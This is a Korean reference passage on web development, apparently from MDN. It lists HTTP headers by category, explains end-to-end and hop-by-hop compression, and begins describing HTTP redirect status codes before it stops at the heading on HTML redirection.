`WWW-Authenticate` (en-US)

리소스에 대한 접근을 하는데 사용되어야하는 인증 메소드를 정의합니다.

`Authorization`

서버와함께 유저 에이전트를 인증하기 위한 자격 증명을 포함합니다.

`Proxy-Authenticate` (en-US)

프록시 서버 뒤에 있는 리소스에 접근하는데 사용되어야하는 인증 메소드를 정의합니다.

`Proxy-Authorization` (en-US)

프록시 서버와 함께 유저 에이전트를 인증하기 위한 자격 증명을 포함합니다.

캐싱
--

`Age`

객체가 프록시 캐시에 있었던 초 단위의 시간.

`Cache-Control`

요청과 응답 모두에서의 캐싱 메커니즘을 명시하는 지시문.

`Clear-Site-Data` (en-US)

요청하는 웹사이트에 관련된 탐색 데이터(예, 쿠키, 저장소, 캐시)를 제거합니다.

`Expires`

응답이 만료되었다고 고려되는 날짜/시간.

`Pragma`

요청-응답 체인을 따라 어디든 다양한 영향을 줄 수 있는 구현-관련 헤더. `Cache-Control` 헤더가 존재하지 않는 HTTP/1.0 캐시와의 하위 호환성을 위해 사용됨.

`Warning` (en-US)

가능한 문제들에 대한 정보를 포함하는 일반 경고 필드.

클라이언트 힌트
--------

HTTP 클라이언트 힌트는 작업중에 있습니다. 실제 문서는 HTTP 작업 그룹의 웹사이트에서 확인하실 수 있습니다.

`Accept-CH` (en-US)
Experimental

서버는 Accept-CH 헤더 필드나 http-equiv 어트리뷰트([HTML5])를 갖는 동등한 HTML meta 엘리먼트를 사용해 클라이언트 힌트에 대한 지원을 알릴 수 있습니다.

`Accept-CH-Lifetime` (en-US)
Experimental

서버는 명시된 시간동안 서버가 지원하는 클라이언트 힌트의 집합을 클라이언트가 기억하도록 요청하여 서버의 오리진으로의 후속 요청에 대한 클라이언트 힌트를 전송할 수 있습니다([RFC6454]).

`Early-Data` (en-US)
Experimental

요청이 초기 데이터로 전달되었음을 나타냅니다.

`Content-DPR` (en-US)
Experimental

`Content-DPR` 응답 헤더 필드는 선택한 이미지 응답의 CSS px를 통한 물리적 픽셀간의 비율을 나타내는 숫자입니다.

`DPR` (en-US)
Experimental

`DPR` 요청 헤더 필드는 레이아웃 뷰포트(Section 9.1.1 of [CSS2])의 CSS px(Section 5.2 of [CSSVAL])를 통한 물리적 픽셀 비율인 클라이언트의 현재 기기 픽셀 비율(DPR)을 나타내는 숫자입니다.

`Save-Data` (en-US)
Experimental

`SaveData`

[

CLIENT-HINTS

] 요청 헤더 필드는 절약한 데이터 사용에 대한 유저 에이전트의 설정을 나타내는 하나 이상의 토큰으로 이루어져있습니다.

`Viewport-Width` (en-US)
Experimental

`Viewport-Width` 요청 헤더 필드는 CSS px 단위의 레이아웃 뷰포트 width를 나타내는 숫자입니다. 제공된 CSS px값은 정수로 반올림된 숫자입니다(예, 올림 값).

하나 이상의 메시지에서 `Viewport-Width`가 나타난다면, 마지막 값이 모든 이전의 값을 덮어씁니다.

`Width` (en-US)
Experimental

`Width` 요청 헤더 필드는 물리적 px(예, 이미지의 실제 크기) 단위의 원하는 리소스 width를 나타내는 숫자입니다. 제공된 물리적 px 값은 정수로 반올림된 숫자입니다(예, 올림 값).

원하는 리소스 width를 요청 시점에 알 수 없거나 리소스가 표출 width를 갖지 않을 경우, `Width` 헤더 필드는 생략될 수 있습니다. 하나 이상의 메시지에서 `Width`가 나타난다면, 마지막 값이 모든 이전의 값을 덮어씁니다.

조건부
---

`Last-Modified`

동일한 리소스의 여러 버전을 비교하는데 사용되는 검사기로, 리소스의 마지막 수정 날짜입니다. `ETag`보다 덜 정확하지만, 어떤 환경에서는 계산이 더 쉽습니다. `If-Modified-Since`와 `If-Unmodified-Since`를 사용하는 조건부 요청은 이 값을 사용하여 요청의 동작을 변경합니다.

`ETag`

리소스의 버전을 식별하는 고유한 문자열 검사기입니다. `If-Match` (en-US)와 `If-None-Match`를 사용하는 조건부 요청은 이 값을 사용하여 요청의 동작을 변경합니다.

`If-Match` (en-US)

저장된 리소스가 주어진 ETags의 하나와 일치하는 경우에만 요청을 조건부로 만들고 메소드를 적용합니다.

`If-None-Match`

저장된 리소스가 주어진 ETags 모두와 일치하지 않는 경우에만 요청을 조건부로 만들고 메소드를 적용합니다. 캐시(안전 연결용)를 업데이트하거나 이미 존재하는 리소스를 다시 업로드하는 것을 방지하기위해 사용됩니다.

`If-Modified-Since`

주어진 날짜 이후에 수정된 경우에만 요청을 조건부로 만들고 엔티티가 전송될 것을 기대합니다. 캐시가 만료되었을 때에만 데이터를 전송하는데 사용됩니다.

`If-Unmodified-Since`

주어진 날짜 이후에 수정되지 않은 경우에만 요청을 조건부로 만들고 엔티티가 전송될 것을 기대합니다. 이는 특정 범위의 새로운 프래그먼트와 이전의 것과의 일관성을 보장하거나, 존재하는 다큐먼트를 수정할 때에 낙관적인 제어 시스템을 구현하는데 사용됩니다.

`Vary`

오리진 서버로부터 새로운 요청을하는 대신 캐시된 응답을 사용할지를 결정하기위한 향후의 요청 헤더를 매칭할 방법을 정합니다.

연결 관리
-----

`Connection`

현재 트랜잭션이 끝난후에 네트워크 연결을 열린 상태로 둘지 여부를 제어합니다.

`Keep-Alive`

지속적인 연결이 열린 상태로 유지할 기간을 제어합니다.

컨텐츠 협상
------

`Accept`

돌려줄 데이터 타입에 대해 서버에 알립니다. MIME 타입입니다.

`Accept-Charset`

클라이언트가 이해할 수 있는 문자 집합에 대해 서버에 알립니다.

`Accept-Encoding`

인코딩 알고리즘에 대해 서버에 알립니다. 보통은 돌려줄 리소스에 사용되는 압축 알고리즘입니다.

`Accept-Language`

서버가 돌려주기로 예상된 언어에 대해 서버에 알립니다. 이는 힌트이며 사용자의 모든 제어 아래에서는 필수가 아닙니다: 서버는 명시적인 사용자 선택을 덮어쓰지 않도록 항상 집중해야합니다(드롭 다운 리스트에서 언어를 선택하는 것처럼).

제어
--

`Expect`

요청을 적절히 처리하기위해 서버에서 수행되어야하는 기대치를 나타냅니다.

`Max-Forwards` (en-US)

...

쿠키
--

`Cookie`

`Set-Cookie` (en-US) 헤더와 함께 서버로부터 이전에 전송됐던 저장된 HTTP 쿠키를 포함합니다.

`Set-Cookie` (en-US)

서버에서 유저 에이전트로 쿠키를 전송합니다.

`Cookie2` (en-US)
지원이 중단되었습니다

`Set-Cookie2` (en-US)와 함께 서버에 의해 이전에 전송된 HTTP 쿠키를 포함하는데 사용되었지만, 명세에 의해 사용되지 않게 되었습니다. 대신 `Cookie`를 사용하세요.

`Set-Cookie2` (en-US)
지원이 중단되었습니다

서버에서 유저 에이전트로 쿠키를 전송하는데 사용되었지만, 명세에 의해 사용되지 않게 되었습니다. 대신 `Set-Cookie` (en-US)를 사용하세요.

CORS
----

*여기에서 CORS에 대해 더 알아보세요.*

`Access-Control-Allow-Origin`

응답이 공유될 수 있는지를 나타냅니다.

`Access-Control-Allow-Credentials`

credentials 플래그가 true일 때 요청에 대한 응답이 노출될 수 있는지를 나타냅니다.

`Access-Control-Allow-Headers`

실제 요청을 만들 때 사용될 수 있는 HTTP 헤더를 나타내는 preflight 요청에 대한 응답으로 사용됩니다.

`Access-Control-Allow-Methods`

preflight 요청에 대한 응답으로 리소스에 접근할 때 허용되는 메소드를 명시합니다.

`Access-Control-Expose-Headers`

헤더의 이름을 나열하여 어떤 헤더가 응답의 일부로 노출될 수 있는지를 나타냅니다.

`Access-Control-Max-Age`

preflight 요청의 결과가 캐시되는 기간을 나타냅니다.

`Access-Control-Request-Headers`

실제 요청이 있을 때 사용될 HTTP 헤더를 서버에 알리기 위한 preflight 요청을 보낼 때 사용됩니다.

`Access-Control-Request-Method`

실제 요청이 있을 때 사용될 HTTP 메소드를 서버에 알리기 위한 preflight 요청을 보낼 때 사용됩니다.

`Origin`

페치가 시작된 위치를 나타냅니다.

`Timing-Allow-Origin` (en-US)

Resource Timing API (en-US)의 기능을 통해 반환되는 속성을 확인할 수 있게해주는 오리진을 명시합니다. 교차-오리진 제한으로인해 0으로 기록될 수도 있습니다.

`X-Permitted-Cross-Domain-Policies`

교차-도메인 정책 파일(XML)이 허용되었는지를 명시합니다. 해당 파일은 Adobe Flash Player 또는 Adobe Acrobat(예, PDF)과 같은 웹 클라이언트가 도메인을 넘어 데이터를 다룰 수 있도록 허용하는 정책을 정의할수도 있습니다.

추적 안함
-----

`DNT` (en-US)

사용자의 추적 설정을 나타내는데 사용됩니다.

`Tk` (en-US)

해당하는 요청에 적용되는 추적 상태를 나타냅니다.

다운로드
----

`Content-Disposition`

전송된 리소스가 한 줄로 표시되어야하거나(헤더가 존재하지 않을 때는 기본 동작), 다운로드처럼 처리되어야 하고 브라우저가 '다른 이름으로 저장' 창을 표시해야할 때에 대한 응답 헤더입니다.

메시지 바디 정보
---------

`Content-Length`

수신자에게 전송된 엔티티 바디의 크기를 10진수 바이트 단위로 나타냅니다.

`Content-Type`

리소스의 미디어 타입을 나타냅니다.

`Content-Encoding`

압축 알고리즘을 명시하는데 사용됩니다.

`Content-Language`

사용자를 위한 언어를 설명하여 사용자가 선호하는 언어에 따라 구분할 수 있게해줍니다.

`Content-Location`

반환된 데이터를 위한 대체 위치를 나타냅니다.

프록시
---

`Forwarded`

프록시가 요청의 경로에 포함될 때 변경되거나 손실되는 프록시 서버의 클라이언트 측면에 대한 정보를 포함합니다.

`X-Forwarded-For`
비표준

HTTP 프록시나 로드 밸런서를 통해 웹 서버로 연결하는 클라이언트의 시작 IP 주소를 확인합니다.

`X-Forwarded-Host`
비표준

클라이언트가 여러분의 프록시나 로드 밸런서에 접속하기 위해 사용하도록 요청됐던 원본 호스트를 확인합니다.

`X-Forwarded-Proto`
비표준

클라이언트가 여러분의 프록시나 로드 밸런서에 접속하기 위해 사용했던 프로토콜(HTTP 또는 HTTPS)을 확인합니다.

`Via`

정방향 및 역방향 프록시에 모두에 의해 추가되며, 요청 헤더와 응답 헤더에서 나타날 수 있습니다.

리다이렉트
-----

`Location` (en-US)

페이지를 리다이렉트할 URL을 나타냅니다.

요청 컨텍스트
-------

`From`

요청하는 유저 에이전트를 제어하는 사용자(사람)의 인터넷 이메일 주소를 포함합니다.

`Host`

서버(가상 호스팅용)의 도메인명과 (선택적으로) 서버가 리스닝중인 TCP 포트 번호를 명시합니다.

`Referer`

현재 페이지로 연결되는 링크가 있던 이전 웹 페이지의 주소입니다.

`Referrer-Policy` (en-US)

생성된 요청이 `Referer` 헤더에서 전송된 referrer 정보에 포함되어야하는지를 관리합니다.

`User-Agent` (en-US)

네트워크 프로토콜 피어가 요청하는 사용자 에이전트의 애플리케이션 타입, 운영 체제, 소프트웨어 벤더 또는 소프트웨어 버전을 식별할 수 있는 특성 문자열을 포함합니다. Firefox 유저 에이전트 문자열 레퍼런스 (en-US) 문서도 참고하세요.

응답 컨텍스트
-------

`Allow`

리소스에 의해 지원되는 HTTP 요청 메소드를 나열합니다.

`Server`

요청을 처리하기 위해 오리진 서버에 의해 사용되는 소프트웨어에 대한 정보를 포함합니다.

범위 요청
-----

`Accept-Ranges`

서버가 범위 요청을 지원하는지를 나타내며, 지원할 경우 범위가 표현될 수 있는 단위를 나타냅니다.

`Range`

서버가 반환해야하는 문서의 부분을 나타냅니다.

`If-Range`

주어진 etag 또는 날짜가 원격 리소스와 일치할 경우에만 수행되는 조건적 범위 요청을 생성합니다. 호환되지 않는 범전의 리소스에서 두 가지 범위의 다운로드를 방지하기위해 사용됩니다.

`Content-Range`

전체 바디 메시지 중 특정 메시지가 포함된 위치를 나타냅니다.

보안
--

`Cross-Origin-Resource-Policy`

이 헤더가 적용된 리소스의 응답을 다른 도메인이 읽는 것을 방지합니다.

`Content-Security-Policy` (en-US) (CSP)

주어진 페이지에 대해 유저 에이전트가 로드할 수 있는 리소스를 제어합니다.

`Content-Security-Policy-Report-Only` (en-US)

웹 개발자가 정책을 강제로 적용하지 않고도 그 효과를 실험해볼 수 있게 해줍니다. 이러한 위반 보고서는 HTTP `POST` 요청을 통해 지정된 URL로 전송된 JSON 문서로 구성됩니다.

`Expect-CT` (en-US)

사이트가 잘못 발급된 인증서의 사용이 눈에 띄지 않게 넘어가는것을 방지해주는 인증서 투명성(Certificate Transparency) 요구 보고 및/또는 시행을 옵트인할 수 있게 해줍니다. 사이트가 Expect-CT 헤더를 사용할 때, 사이트는 공개 CT 로그에 나타난 사이트에 대한 모든 인증서를 Chrome이 확인하도록 요청합니다.

`Feature-Policy` (en-US)

소유한 프레임 및 내장된 iframe에서 브라우저 기능의 사용을 허용 및 거부하기위한 메커니즘을 제공합니다.

`Public-Key-Pins` (en-US) (HPKP)

위조된 인증서를 사용한 MITM 공격의 위험을 줄이기 위해 특정 웹 서버에 특정 암호화 공개 키를 연결합니다.

`Public-Key-Pins-Report-Only` (en-US)

헤더에 지정된 report-uri로 보고를 전송하고 피닝을 위반하더라도 클라이언트가 서버에 접속하는 것을 계속 허용합니다.

`Strict-Transport-Security` (HSTS)

HTTP 대신 HTTPS를 사용하여 통신하도록 강제합니다.

`Upgrade-Insecure-Requests` (en-US)

암호화된 응답과 인증된 응답에 대한 클라이언트의 설정을 나타내는 신호를 서버에 전송하며, `upgrade-insecure-requests` (en-US) 지시자를 성공적으로 처리할 수 있습니다.

`X-Content-Type-Options` (en-US)

MIME 스니핑을 비활성화하고 브라우저가 `Content-Type`에 주어진 타입을 사용하도록 강제합니다.

`X-Download-Options`

브라우저(인터넷 익스플로러)가 파일을 통한 피싱 공격을 방지하기 위해 애플리케이션으로부터 다운로드된 파일에 "열기" 옵션을 표시하면 안되는지 여부를 나타냅니다. 피싱 공격을 방지하지 못할 경우 파일을 애플리케이션의 컨텍스트에서 실행할 권한을 얻게됩니다.

`X-Frame-Options` (XFO)
브라우저가 `<frame>` (en-US), `<iframe>` (en-US), `<embed>` 또는 `<object>`에서 페이지 렌더링을 허용해야하는지를 나타냅니다.
`X-Powered-By`
호스팅 환경이나 다른 프레임워크에 의해 설정 될 수 있으며, 그들에 대한 정보를 포함하지만 애플리케이션이나 방문자에게 유용하지는 않습니다. 잠재적인 취약점 노출을 피하려면 이 헤더를 해제하세요.
`X-XSS-Protection`
교차-사이트 스크립팅 필터링을 활성화합니다.

서버가 전송한 이벤트
-----------

`Last-Event-ID`

...

`NEL` (en-US)
Experimental

개발자가 네트워크 에러 보고 정책을 선언할 수 있게하는 메커니즘을 정의합니다.

`Ping-From`

...

`Ping-To`

...

`Report-To`

브라우저가 경고 및 에러 보고를 전송하기 위한 서버 엔드포인트를 지정하는데 사용됩니다.

전송 코딩
-----

`Transfer-Encoding`

사용자에게 엔티티를 안전하게 전송하기위해 사용할 인코딩 형식을 지정합니다.

`TE` (en-US)

유저 에이전트가 수락하기로한 전송 인코딩을 지정합니다.

`Trailer` (en-US)

전송자가 청크 분할된 메시지의 끝에 부가적인 필드를 포함할 수 있게 해줍니다.

웹소켓
---

`Sec-WebSocket-Key`

...

`Sec-WebSocket-Extensions`

...

`Sec-WebSocket-Accept` (en-US)

...

`Sec-WebSocket-Protocol`

...

`Sec-WebSocket-Version`

...

그 외
---

`Accept-Push-Policy`
Experimental

클라이언트는 요청에 `Accept-Push-Policy` 헤더 필드를 전송하여 요청에 대해 희망하는 푸시 정책을 나타낼 수 있습니다.

`Accept-Signature`
Experimental

클라이언트는 `Accept-Signature` 헤더 필드를 전송하여 지원하는 서명의 종류와 사용 가능한 모든 서명을 이용할 의도를 나타낼 수 있습니다.

`Alt-Svc`

이 서비스에 도달할 수 있는 대안을 나열하는데 사용됩니다.

`Date`

메시지가 발생한 날짜와 시간을 포함합니다.

`Large-Allocation` (en-US)

로드되고 있는 페이지가 대규모 할당 작업을 원할 것이라고 브라우저에게 알립니다.

`Link` (en-US)

`Link` 엔티티 헤더 필드는 HTTP 헤더내의 하나 이상의 링크를 직렬화하기위한 수단을 제공합니다. HTML `<link>` 엘리먼트와 의미상으로 동일합니다.

`Push-Policy`
Experimental

`Push-Policy`는 요청을 처리할 때 푸시에 관련된 서버의 동작을 정의합니다.

`Retry-After`

유저 에이전트가 다음 요청을 생성하기전에 얼마나 기다려야하는지를 나타냅니다.

`Signature`
Experimental

`Signature` 헤더 필드는 교환을 위한 서명의 리스트를 전달하며, 각 서명은 권한을 판별하고 새로고치는 방법에 대한 정보를 수반합니다.

`Signed-Headers`
Experimental

`Signed-Headers` 헤더 필드는 서명에서 포함할 응답 헤더 필드의 정렬된 리스트를 식별합니다.

`Server-Timing` (en-US)

주어진 요청-응답 주기에 대한 하나 이상의 메트릭 및 설명을 전달합니다.

`SourceMap`

생성된 코드를 source map (en-US)에 링크합니다.

`Upgrade` (en-US)

Upgrade 헤더 필드에 관련된 RFC 문서는 RFC 7230, section 6.7입니다. 이 표준은 현재 클라이언트, 서버, 전송 프로토콜 연결에서 다른 프로토콜로 업그레이드 또는 변경하기위한 규칙을 정하였습니다. 예를 들면, 이 헤더 표준은 서버가 Upgrade 헤더 필드를 인식하고 구현하도록 결정했다고 가정하여 클라이언트가 HTTP 1.1에서 HTTP 2.0으로 변경하는것을 허용합니다. 어떠한 집단에서도 Upgrade 헤더 필드에서 명시된 용어를 수락할 필요는 없습니다. 이는 클라이언트 및 서버 헤더 모두에서 사용될 수 있습니다. Upgrade 헤더 필드가 명시되었을 경우, 전송자는 반드시 업그레이드 옵션을 지정한 Connection 헤더 필드도 전송해야합니다. Connection 헤더 필드에 대한 자세한 내용은 앞서 언급한 RFC의 section 6.1을 확인하시기 바랍니다..

`X-DNS-Prefetch-Control` (en-US)

브라우저가 이미지, CSS, JavaScript 등을 포함하여 문서에 의해 참조된 항목을 위한 URL뿐만 아니라 사용자가 따르길 선택한 링크 모두에서 사전에 수행할 도메인 네임 확인을 수행하는 기능인 DNS 프리페칭을 제어합니다.

`X-Firefox-Spdy`
지원이 중단되었습니다

비표준

...

`X-Pingback`
비표준

...

`X-Requested-With`

...

`X-Robots-Tag`
비표준

공개 검색 엔진 결과에서 웹 페이지가 인덱싱되는 방식을 나타내기 위해 사용됩니다. 이 헤더는 사실상 `<meta name="robots" content="...">`와 동일합니다.

`X-UA-Compatible`
비표준

Internet Explorer에게 사용할 문서 모드를 알리는데 사용됩니다.

기여
--

새로운 항목을 작성 (en-US)하거나 존재하는 항목을 향상하여 도움을 주실 수 있습니다.

함께 보기
-----

* Wikipedia page on List of HTTP headers
* IANA registry
* HTTP Working Group


HTTP에서의 압축 - HTTP

HTTP에서의 압축
==========

**압축은 웹 사이트의 성능을 높이는 중요한 방법입니다. 어떤 문서에 대해, 70%가 넘는 사이즈 축소는 필요로 하는 대역폭 용량을 낮춰줍니다. 수년간, 알고리즘은 점점 더 효율적으로 변해왔고, 클라이언트와 서버에 의해 새로운 것들이 지원되고 있습니다.**

실제로, 웹 개발자들은 압축 메커니즘을 구현해야 할 필요가 없고, 브라우저와 서버가 그것들을 이미 구현하고 있어서, 개발자들은 서버가 잘 구성되어 있는지 확인만 하면 됩니다. 압축은 세 개의 서로 다른 계층에서 일어납니다.

* 먼저 몇 개의 파일 형식이 최적화된 특유의 방법으로 압축됩니다,
* 그런 뒤 HTTP 계층에서 일반적인 암호화가 일어납니다(리소스는 끝단 간에 압축되어 전송됩니다),
* 그리고 마침내 압축이 HTTP 커넥션의 두 노드 사이의 커넥션 계층에서 정의될 수 있습니다.
파일 포맷 압축
--------

각각의 데이터 타입은 그 안에서 *공간을 낭비하는*, 몇 가지 중복을 가지고 있습니다. 텍스트가 일반적으로 60% 정도의 중복을 가지고 있다면, 오디오와 비디오 같은 다른 미디어들에게 이 비율은 훨씬 더 높아질 수 있습니다. 텍스트와 다르게, 이런 다른 미디어 타입들은 저장하는데 많은 공간을 차지하고 이런 낭비된 공간을 되돌려놓으려는 요구는 매우 이른 시기에 나타났습니다. 엔지니어들은 특정 목적을 위해 설계된 파일 포맷이 사용하는 최적화 압축 알고리즘을 설계했습니다:

* *무손실 압축*은 압축-비압축 사이클이 복원된 데이터를 변경하지 않는 것을 말합니다. 원래의 데이터와 복원 데이터는 일치(byte 단위까지)합니다.
 이미지에서는, `gif` 혹은 `png`가 무손실 압축을 사용합니다.
* *손실 압축은* 사용자가 인지하기 힘든 방법 내에서 원래의 데이터를 사이클이 변경하는 것을 말합니다. 웹에서의 비디오 포맷은 손실 압축이며, 이미지에 경우에는 `jpeg`이 그렇습니다.

어떤 포맷들은 `webp`처럼 무손실 혹은 손실로 이용 가능하며, 일반적으로 손실 알고리즘은 그 과정이 무손실 혹은 좀 더 나은 품질을 이끌도록 좀 더 나은 혹은 무손실의 압축을 가능하도록 구성될 수 있습니다. 사이트의 좀 더 나은 성능을 위해, 수용 가능한 수준의 품질을 지키면서도 가능한 많이 압축하는 것이 이상적입니다. 이미지의 경우, 도구가 만들어 낸 이미지는 웹을 위해 충분히 최적화되지 않을 수도 있습니다; 요구되는 품질를 유지하면서 가능한 많이 압축하는 도구를 사용하는 것을 추천합니다. 이것에 특화된 많은 도구들이 있습니다.

손실 압축 알고리즘은 무손실 압축 알고리즘보다 일반적으로 효율적입니다.

**참고:** 압축이 특정 종류의 파일에서 더 잘 동작하므로, 파일을 두번 압축하는 것은 보통 아무런 도움이 되질 않습니다. 사실, 오버헤드 비용(알고리즘은 보통 초기의 크기에 추가할 사전을 필요로 합니다)이 크기가 큰 파일을 낳는 압축에서의 추가적인 이득보다 크므로, 자주 생산성 측면의 문제에 맞닥뜨리게 됩니다. 압축된 포맷의 파일들에 다음 두 기술을 사용하지 마시기 바랍니다.

종단 간 압축
-------

압축에 있어, 종단간 압축은 웹 사이트의 가장 큰 성능 이득이 발생하는 곳입니다. 종단간 압축은 서버에 의해 처리되고 클라이언트에 도달할 때까지 결코 변하지 않을 메시지 바디의 압축을 나타냅니다. 중간 노드가 무엇이든지, 바디는 건들이지 않고 그대로 둡니다.

![](/ko/docs/Web/HTTP/Compression/httpenco1.png)

모든 모던 브라우저와 서버들은 종단간 압축을 지원하며 협상하는 유일한 것은 사용할 압축 알고리즘입니다. 이런 압축 알고리즘들은 텍스트에 최적화되어 있습니다. 1990년대에, 압축 기술은 급격한 속도로 진보되고 있었으며 많은 수의 성공적인 알고리즘들이 선택 가능한 후보군에 추가되었습니다. 오늘날에는, 오직 두 개의 알고리즘만이 적절한 후보군입니다: 가장 일반적인 `gzip`, 그리고 새로운 도전자인 `br`이 그것이죠.

사용할 알고리즘을 선택하기 위해, 브라우저와 서버는 사전 컨텐츠 협상을 사용합니다. 브라우저는 브라우저가 지원하는 알고리즘 그리고 그것의 우선순위와 함께 `Accept-Encoding` 헤더를 전송하며, 서버는 그 헤더를 뽑아내서 응답의 바디를 압축하는데 사용하고 서버가 선택한 알고리즘을 `Content-Encoding` 헤더를 사용해 브라우저에게 알려줍니다. 컨텐츠 협상이 그것의 인코딩에 근거한 표현을 선택하는데 사용되므로써, 적어도 `Content-Encoding`을 포함하는 하나의 `Vary` 헤더가 반드시 응답 내 해당 헤더에 붙어 전송되어야 합니다; 그러한 방법으로, 캐시는 리소스의 다른 표현을 캐시하는게 가능해질 겁니다.

![](/ko/docs/Web/HTTP/Compression/httpcompression1.png)

압축이 명확한 성능 향상을 가져다주므로, 모든 파일에 대해 활성화하는 것을 추천하지만, 이미지, 오디오나 비디오와 같은 파일들은 이미 압축되어 있을 겁니다.

Apache는 압축을 지원하며 mod\_deflate를 사용합니다; nginx의 경우 ngx\_http\_gzip\_module 모듈이 있고 IIS는 `<httpCompression>` 엘리먼트를 지원합니다.

Hop-by-hop 압축
-------------

종단간 압축과 비슷하긴 하지만, hop-by-hop 압축은 한 가지 필수적인 엘리먼트에 의해 차이가 납니다: 전송되게 될 구체적인 표현을 만들어내는, 서버 내에서 리소스에 대한 압축이 일어나지 않고, 클라이언트와 서버 사이의 경로 상에 있는 어떤 두 노드 사이에서 메서지의 바디에 압축이 일어납니다. 이따르는 중간 노드 간의 커넥션들은 다른 압축을 적용할수도 있습니다.

![](/ko/docs/Web/HTTP/Compression/httpte1.png)

이를 위해, HTTP는 종단간 압축에서의 컨텐츠 협상과 유사한 메커니즘을 사용합니다: 요청을 전송하는 노드는 노드의 요청이 `TE` (en-US) 헤더를 사용하고 있다는 것을 알려주고 다른 노드들은 알맞는 방법을 선택하여 적용하고 `Transfer-Encoding` 헤더를 사용해 선택한 내용을 가리킵니다.

![](/ko/docs/Web/HTTP/Compression/httpcomp2.png)

실제로, hop-by-hop 압축은 서버와 클라이언트에게는 보이지 않으며 드물게 사용되고 있습니다.`TE` (en-US) 헤더와 `Transfer-Encoding` 헤더는 리소스의 길이를 알지 못한 상태로 전송을 시작하도록, 청크에 의해 응답을 전송하는데 대부분 사용됩니다.

Hop 계층에서 `Transfer-Encoding` 헤더와 압축을 사용하는 것은, Apache, nginx 혹은 IIS와 같은 대부분의 서버들이 그것을 구성할 수 있는 쉬운 방법이 존재하지 않을 만큼 희귀합니다. 그런 구성들은 보통 프록시 계층에 적용됩니다.


HTTP 리다이렉트 - HTTP

HTTP 리다이렉트
==========

URL 리다이렉션 혹은 URL 포워딩은 페이지 단위의 실제 리소스, 폼 혹은 전체 웹 애플리케이션이 다른 URL에 위치하고 있는 상태에서 링크를 존속시키는 기술입니다. HTTP는 많은 목표를 위해 사용되는 이런 동작을 수행하기 위해 특별한 종류의 응답인 *HTTP 리다이렉트*를 제공합니다: 사이트 유지관리가 진행 중인 상태에서의 일시적인 리다이렉션, 사이트 아키텍쳐의 변경 이후에도 외부 링크를 동작하는 상태로 유지시키기 위한 영구적인 리다이렉션, 파일 업로드 시 진행 상태 페이지 그리고 그 외의 수많은 리다이렉션들 ...

원칙
--

HTTP에서, 리다이렉션은 요청에 대해 특별한 응답(*리다이렉트*)을 전송함으로써 촉발됩니다. HTTP 리다이렉트는 `3xx` 상태 코드를 지닌 응답입니다. 리다이렉트 응답을 수신한 브라우저는, 제공된 새로운 URL을 사용하며 그것을 즉시 로드합니다: 대부분의 경우, 리다이렉션은 사용자에게는 보이지 않는데다가, 적은 성능 저하를 일으킵니다.

![](/ko/docs/Web/HTTP/Redirections/httpredirect.png)

리다이렉트에는 몇 가지 유형이 있으며 세 가지 카테고리로 나누어집니다: 영속적, 일시적 그리고 특수 리다이렉션.

### 영속적인 리다이렉션

이 리다이렉션은 영원히 지속됨을 의미합니다. 원래의 URL이 더 이상 사용되지 않아야 하며 새로운 URL을 더 선호해야 함을 시사합니다. 검색 엔진 로봇은 그들의 인덱스 내에서 리소스에 대한 연관 URL의 갱신을 촉발시킵니다.

| 코드 | 텍스트 | 메서드 핸들링 | 일반적인 유스케이스 |
| --- | --- | --- | --- |
| `301` | `Moved Permanently` | `GET` 메서드는 변경되지 않습니다. 다른 메서드들은 `GET`로 변하거나 변하지 않을수도 있습니다.[1] | 웹 사이트의 재편성. |
| `308` | `Permanent Redirect` | 메서드와 본문은 변하지 않습니다. | GET이 아닌 링크/동작을 지닌, 웹 사이트의 재편성. |

[1] 명세는 메서드 변경을 허용할 의도가 없으나, 사실 상 사용자 에이전트들이 그렇게 하고 있습니다. `308` 은 `GET`이 아닌 메서드를 사용할 때 동작의 애매모호함을 제거하고자 만들어졌습니다.

### 일시적인 리다이렉션

때때로 요청된 리소스는 그것의 표준 위치에서 접근할 수 없고 다른 위치에서 접근 가능한 경우가 있습니다. 이런 경우 일시적인 리다이렉트가 사용될 수 있습니다. 검색 엔진 로봇은 새로운, 일시적인 링크를 기억하지 못합니다. 일시적인 리다이렉션은 일시적인 진행율 페이지를 표시하고자 리소스를 만들고 갱신하며 삭제할 때 사용될 수 도 있습니다.

| 코드 | 텍스트 | 메서드 핸들링 | 일반적인 유스 케이스 |
| --- | --- | --- | --- |
| `302` | `Found` | `GET` 메서드는 변경되지 않습니다. 다른 메서드들은 `GET`로 변하거나 변하지 않을수도 있습니다.[2] | 웹 페이지가 예측하지 못한 이유로 일시적으로 이용 불가능할 때 가 있습니다. 그런 이유로, 검색 엔진은 그들의 링크를 갱신하지 않습니다. |
| `303` | `See Other` | `GET` 메서드는 변경되지 않습니다. 다른 메서들은 `GET` 메서드로 *변경됩니다*(본문을 잃게 됩니다). | 동작을 다시 촉발시키는 페이지 리프레시를 막기 위해 `PUT` 혹은 `POST` 뒤에 사용됩니다. |
| `307` | `Temporary Redirect` | 메서드와 본문은 변경되지 않습니다. | 웹 페이지가 예측하지 못한 이유로 일시적으로 이용 불가능할 때 가 있습니다. 그런 이유로, 검색 엔진은 그들의 링크를 갱신하지 않습니다. GET이 아닌 링크/동작이 사이트에서 이용 가능할 때 `302`보다 더 좋습니다. |

[2] 명세에는 메서드 변경을 허용할 의도가 없으나, 실질적으로 사용자 에이전트들이 그렇게 하고 있습니다. `307` 은 `GET`이 아닌 메서드들을 사용하는 경우 동작의 애매모호함을 제거하기 위해 만들어집니다.

### 특수 리다이렉션

이런 보통 리다이렉션과 더불어, 특별한 두 가지 리다이렉션이 더 있습니다. `304` (수정되지 않음)은 (오랜된)로컬에 캐시된 복사본으로 페이지를 리다이렉트시키며, `300` (다중 선택)은 수동 리다이렉션입니다:브라우저에 의해 웹 페이지로 표현되는 분문은 가능한 리다이렉션을 나열하며 사용자는 그 중 하나를 선택하기 위해 클릭합니다.

| 코드 | 텍스트 | 일반적인 유스케이스 |
| --- | --- | --- |
| `300` | `Multiple Choice` | 이런 경우가 많지는 않습니다: 본문의 HTML 페이지 내에 선택지가 나열됩니다. `200` `OK` 상태와 함께 서브될 수 있습니다. |
| `304` | `Not Modified` | 캐시 리프레시: 캐시 값이 여전히 사용 가능할 정도로 신선함을 가리킵니다. |

리다이렉션을 명시하는 대체 방법
-----------------

HTTP 리다이렉트가 리다이렉션을 정의하는 유일한 방법은 아닙니다. 두 개의 다른 방법이 존재합니다: `<meta>` 엘리먼트를 사용하는 HTML 리다이렉션과 DOM을 사용하는 JavaScript 리다이렉션이 있습니다.

### HTML 리다이렉션

